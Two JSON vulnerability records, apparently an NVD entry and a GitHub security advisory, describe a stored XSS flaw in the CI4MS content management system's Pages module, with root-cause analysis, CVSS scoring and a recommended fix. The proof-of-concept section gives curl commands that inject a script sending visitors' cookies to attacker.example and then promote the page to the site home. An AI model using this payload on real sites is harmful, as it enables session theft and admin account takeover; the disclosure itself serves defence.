{
  "affected": [
    {
      "affectedData": [
        {
          "product": "ci4ms",
          "vendor": "ci4-cms-erp",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.31.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` \u2192 `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page \u2014 including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site. Version 0.31.9.0 patches the issue."
    }
  ],
  "id": "CVE-2026-45270",
  "lastModified": "2026-07-21T20:27:18.523",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45270",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T15:11:07.422358Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T15:16:38.163",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:23:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` \u2192 `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page \u2014 including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n    ...\n    $clean = self::sanitizeHtml($str);\n    $str = $clean;\n    self::$cleanCache[md5((string)$str)] = $clean;\n    return true;\n}\n```\n\nCodeIgniter 4\u0027s `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set-\u003e{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation \u2014 but no controller in the codebase does so.\n\nPages controller \u2014 `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n  ```php\n  \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n  ```\n  Then at lines 102\u2013113 it reads the raw POST and inserts it untouched:\n  ```php\n  $langsData = $this-\u003erequest-\u003egetPost(\u0027lang\u0027) ?? [];\n  ...\n  $this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n      ...\n      \u0027content\u0027 =\u003e $lData[\u0027content\u0027],   // line 111 \u2014 RAW\n      ...\n  ]);\n  ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n  ```php\n  \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],   // line 130\n  ...\n  \u0027content\u0027 =\u003e $lData[\u0027content\u0027],   // line 157 \u2014 RAW\n  ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n\u003cdiv id=\"ci4ms-content\"\u003e\n    \u003c?php echo $pageInfo-\u003econtent ?\u003e     // no esc(), raw HTML output\n\u003c/div\u003e\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo-\u003econtent` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement \u2014 it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/\u003cseflink\u003e` matched by `Home::index` vs `/blog/\u003cseflink\u003e`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 \u2014 log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n  -d \u0027email=author@example.com\u0027 -d \u0027password=AuthorPass1!\u0027\n```\n\nStep 2 \u2014 create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n  -d \u0027lang[en][title]=POC\u0027 \\\n  -d \u0027lang[en][seflink]=poc-page-xss\u0027 \\\n  -d \u0027lang[en][content]=\u003cscript\u003efetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))\u003c/script\u003e\u0027 \\\n  -d \u0027isActive=1\u0027\n```\n\nExpected: redirect to `/backend/pages/1` with `lang(\u0027Backend.created\u0027)` flashdata. The DB row `pages_langs.content` contains the literal `\u003cscript\u003e...\u003c/script\u003e` payload.\n\nStep 3 \u2014 trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `\u003cscript\u003e` tag, and the payload runs in every visitor\u0027s browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 \u2014 broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/\u003cpage_id\u003e \\\n  -H \u0027X-Requested-With: XMLHttpRequest\u0027\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug \u2014 or to `/` if the page is set as home \u2014 executes the attacker\u0027s JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin\u0027s browser, escaping the content-author security boundary into the admin\u0027s. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() \u2014 replace line 111\n$this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n    \u0027pages_id\u0027 =\u003e $insertID,\n    \u0027lang\u0027     =\u003e $langCode,\n    \u0027title\u0027    =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n    \u0027seflink\u0027  =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n    \u0027content\u0027  =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n    \u0027seo\u0027      =\u003e $seoData\n]);\n\n// Pages::update() \u2014 replace line 157\n$langUpdate = [\n    \u0027title\u0027   =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n    \u0027seflink\u0027 =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n    \u0027content\u0027 =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n    \u0027seo\u0027     =\u003e $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.",
  "id": "GHSA-gqr2-7hcg-rchf",
  "modified": "2026-05-18T16:23:34Z",
  "published": "2026-05-18T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule"
}